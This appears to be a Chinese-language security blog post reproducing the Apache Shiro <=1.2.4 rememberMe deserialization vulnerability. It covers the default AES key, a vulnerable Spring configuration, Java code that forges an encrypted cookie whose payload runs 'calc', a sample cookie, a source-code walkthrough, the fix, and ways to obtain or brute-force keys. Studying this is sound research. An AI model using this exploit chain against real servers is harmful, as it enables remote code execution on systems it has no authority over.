- 影响版本
- 漏洞原理
- 手动复现
- 复现代码
- pom
- ShiroConfig
- UserServiceImpl
- 复现操作
- 代码审计
- 默认密钥kPH+bIxk5D2deZiIxcaaaA==
- 修复
- 漏洞检测
- 探测是否开启rememberMe功能
- 如何获取/爆破AES密钥?
- yso链子改造
- 参考
- 完
Shiro<=1.2.4
漏洞原理shiro支持rememberMe功能,通过记录cookie来达到短期免登录效果
开启rememberMe后,用户登录会生成加密cookie
Cookie生成:AES加密->base64加密->返回浏览器rememberMe值
Cookie验证:接受请求rememberMe值->base54解密->AES解密->反序列化
cookie的来源是一串序列化串,验证时调用readObject反序列化,因此只要伪造cookie为序列化payload就能搭配其他组件完成RCE
默认AES密钥是kPH+bIxk5D2deZiIxcaaaA==能够在jar包查到,而手动配置的密钥硬编码在jar包里面也能通过代码审计拿到
手动复现 复现代码环境修改自上一篇复现越权访问漏洞的笔记
pomhttps://ho1aas.blog.csdn.net/article/details/125404334
修改pom,添加cc4.0来用cc2链子打
ShiroConfigorg.apache.shiro shiro-spring 1.2.4 org.apache.commons commons-collections4 4.0
添加cookie处理的bean
@Bean
public CookieRememberMeManager rememberMeManager(){
CookieRememberMeManager cookieRememberMeManager = new CookieRememberMeManager();
cookieRememberMeManager.setCookie(rememberMeCookie());
//cookieRememberMeManager.setCipherKey(Base64.decode("xxx"));
// 默认是kPH+bIxk5D2deZiIxcaaaA==
return cookieRememberMeManager;
}
@Bean
public SimpleCookie rememberMeCookie(){
SimpleCookie simpleCookie = new SimpleCookie("rememberMe");
simpleCookie.setHttpOnly(true);
simpleCookie.setPath("/");
simpleCookie.setMaxAge(30);
return simpleCookie;
}
UserServiceImpl
开启rememberMe功能
复现操作按照正常生成rememberMe字段的方式:序列化->AES加密->Base64加密
package com.example.shirospring.manual;
import org.apache.shiro.crypto.AesCipherService;
import java.io.*;
import org.apache.shiro.codec.Base64;
public class Shiro550{
public static void main(String[] args) throws Exception {
Test test = new Test();
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(test);
// AES加密
String key = "kPH+bIxk5D2deZiIxcaaaA==";
byte[] byteKey = Base64.decode(key);
AesCipherService aesCipherService = new AesCipherService();
byte[] ans = aesCipherService.encrypt(baos.toByteArray(), byteKey).getBytes();
System.out.println(new String(Base64.encode(ans)));
oos.close();
}
}
class Test implements Serializable{
static {
try {
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
}
生成的payload,放到cookie字段,burp发包即可
SyLbV1LwhFXSxjoXzpN1cV1gjv57RVElNq/WDFu5hRAx9YU9gKcIuxaHzcA65FYaT0q659UcnNH1OkevQ11GFATx96pnNjHEc0H7T/P+2tM=代码审计
登录admin之后,访问secret.html,之前配置过的,要admin才能访问
在DefaultSecurityManager.createSbject打上断点,然后进入this.resolvePrincipals()这里是处理cookie的入口
进入getRememberedIdentity()
进入我们定义的Bean CookieRememberMeManager.getRememberedPrincipals()进一步处理
首先对cookie进行base64解码操作,返回byte[],具体细节可以进去查看
然后进入下面的this.convertBytesToPrincipals()
里面有两步操作,首先看decrypt,调用AesCipherService进行解密
密钥来自于初始化
this.deserialize()判断非空就直接readObject了
没有判断cookie是否合法,因此只要拿到AES密钥就能完成攻击
修复shiro1.2.5更新必须手动指定aes key,其他不变,因此反序列化流程还是不变,如果开发者设置key为常见值也容易被爆破出来
漏洞检测利用工具
https://github.com/SummerSec/ShiroAttack2
输入AES密钥,然后配合cc攻击
探测是否开启rememberMe功能 如何获取/爆破AES密钥?按照参考文章的描述,总共有几种方式:
- 默认
- 硬编码,直接反编译拿到
- 搜集互联网上常见的shiro aes编码,如github搜索setCipherKey(Base64.decode
参考https://www.anquanke.com/post/id/192619
完https://paper.seebug.org/1503/
https://mp.weixin.qq.com/s/ayZKDVnN7zEbKjo5w8uqxQ
https://www.anquanke.com/post/id/225442
https://su18.org/post/shiro-2/
欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://ho1aas.blog.csdn.net/article/details/125409939
版权声明:本文为原创,转载时须注明出处及本声明



